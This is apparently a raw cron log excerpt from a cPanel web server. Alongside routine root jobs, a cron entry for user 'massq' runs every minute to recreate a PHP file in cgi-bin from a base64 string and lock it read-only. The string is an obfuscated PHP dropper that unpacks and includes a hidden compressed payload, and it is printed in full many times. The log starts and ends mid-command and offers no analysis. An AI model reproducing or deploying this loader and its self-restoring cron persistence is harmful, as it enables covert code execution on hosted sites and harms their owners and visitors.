"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:01:01 server CROND[25969]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 23:01:01 server CROND[25970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:01:01 server run-parts(/etc/cron.hourly)[25969]: starting 0anacron
Apr 12 23:01:02 server run-parts(/etc/cron.hourly)[25982]: finished 0anacron
Apr 12 23:02:01 server CROND[26047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:03:01 server CROND[26112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:04:01 server CROND[26190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:05:01 server CROND[26251]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 23:05:01 server CROND[26252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:05:01 server CROND[26253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:05:01 server CROND[26254]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 23:05:01 server CROND[26257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:06:01 server CROND[26474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:07:01 server CROND[26537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:08:01 server CROND[26599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:09:01 server CROND[26663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:09:01 server CROND[26664]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 23:10:01 server CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:10:01 server CROND[26732]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 23:10:01 server CROND[26734]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:10:01 server CROND[26735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:11:01 server CROND[26857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:12:01 server CROND[26917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:12:01 server CROND[26918]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 23:13:01 server CROND[27086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuycz